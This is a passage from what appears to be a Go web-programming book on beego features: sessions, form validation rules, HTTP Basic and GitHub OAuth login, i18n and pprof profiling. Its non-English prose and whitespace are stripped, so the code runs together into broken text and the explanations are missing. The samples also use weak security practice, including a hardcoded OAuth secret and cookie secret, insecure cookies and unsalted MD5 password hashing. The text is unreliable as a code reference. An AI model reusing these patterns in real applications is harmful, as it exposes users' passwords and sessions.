sess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.Data["Count"]=intcountthis.TplNames="index.tpl"}

session

1. session

//PHPsession_start()sess:=this.StartSession()

2. sessionsession

//sessionPHP $_SESSION["count"}sess.Get("count")

//sessionsess.Set("count",intcount)

beegosessionPHP session_start()

links

:

:

14.3Web

HTML

Gostructbeegoformstruct

Webstructformstructtag

typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`Ageint`form:text,valid:required|numeric`Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}

structcontroller

func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}

<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>

1struct

func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}

form

text No textbox

button No

checkbox No

dropdown No

file No

hidden No hidden

password No

radio No

textarea No

required No FALSE

matches Yes FALSE matches[form_item]

is_unique Yes

Falseis_unique[User.Email]UserEmailfalseCallback

is_unique[table.field]

min_length Yes FALSE min_length[6]

max_length Yes FALSE max_length[12]

exact_length Yes FALSE exact_length[8]

greater_than Yes FALSE greater_than[8]

less_than Yes FALSE less_than[8]

alpha No FALSE

alpha_numeric No FALSE

alpha_dash No ///FALSE

numeric No FALSE

integer No FALSE

decimal Yes FALSE

is_natural No 0FALSE0,1,2,3....

is_natural_no_zero No 0FALSE01,2,3.....

valid_email No emailFALSE

valid_emails No emailFALSE

valid_ip No IPFALSE

valid_base64 No base64FALSE

links

: Session:

14.4Web

HTTPBasicHTTPDigestQQweibodoubianOPENIDgooglegithubfacebooktwittersessioncookie

beegobeego

HTTPBasic HTTPDigest

github.com/abbot/go-http-auth

beego

packagecontrollers

import("github.com/abbot/go-http-auth""github.com/astaxie/beego")

funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}

typeMainControllerstruct{beego.Controller}

func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}

beegopreparehttpauthdigest

oauth oauth2

oauthoauth2QQweibo

github.com/bradrydzewski/go.auth

beegooauthgithub

1. 2

beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})

2. GithubController

packagecontrollers

import("github.com/astaxie/beego"

"github.com/bradrydzewski/go.auth")

const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")

typeGithubControllerstruct{beego.Controller}

func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

githubHandler:=auth.Github(githubClientKey,githubSecretKey)

githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}

1.

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http""net/url")

typePageControllerstruct{beego.Controller}

func(this*PageController)Get(){//settheauthparameters

auth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

user,err:=auth.GetUserCookie(this.Ctx.Request)

//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}

//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}

14.4

14.5github

Authorizeapp

14.6github

sessionbeego

//func(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()

username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=nowmodels.UpdateUserInfo(users)

//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)

this.Ctx.Redirect(302,"/")}}

//func(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"

return}

passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"

return}

md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)

ifuserInfo.Username==""{varusersmodels.Userusers.Username=usernameusers.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)

//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}

}

funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}

funccheckUsername(usernamestring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}

func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")return}this.Data["Username"]=sess_username}

links

::

14.510go-i18nbeego

i18n

beego

Translationi18n.ILLangstring//zhenLangPathstring//

:

funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}

beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{

s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}

1. i18n:

beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()

2.

json10LangPathzh.jsonen.json

#zh.json

{"zh":{"submit":"" ,"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

3.

controller

func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}

//{{.create|Trans}}

//{{.time|TransDate}}

//{{.money|TransMoney}}

links

:: pprof

14.6pprofGo

net/http/pprof

runtime/pprof

net/http/pprofruntime/pprofhttp

beego pprof

beegopprofgoroutineGo"/net/http/pprof"GoWebbeegoServHTTPbeegopprof

beego.Run

ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}

ProfConterller

packagebeego

import("net/http/pprof")

typeProfControllerstruct{Controller}

func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Reque

st)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}

pprof

beego.PprofOn=true

URL

14.7goroutineheapthread

goroutine

14.8goroutine

gotoolpprofhttp://localhost:8080/debug/pprof/profile

30profilecpu

(pprof)top10

Total:3samples

133.3%33.3%133.3%MHeap_AllocLocked

133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors

133.3%100.0%133.3%runtime.sigprocmask

00.0%100.0%133.3%MCentral_Grow

00.0%100.0%266.7%main.Compile

00.0%100.0%266.7%main.compile

00.0%100.0%266.7%main.run

00.0%100.0%133.3%makeslice1

00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP

00.0%100.0%266.7%net/http.(*conn).serve

(pprof)web

14.9

links

::

14.7beego1beegobootstrap2beegosessionManagerbeegosession3GostructWeb4httpbasichttpdigestbeego5beegogo-i18nWeb6Gopprofpprofbeegopprofpprofbeego6beegoWeb

links

: pprof

AGoWeb

1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. Go7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ10. NetworkprogrammingwithGo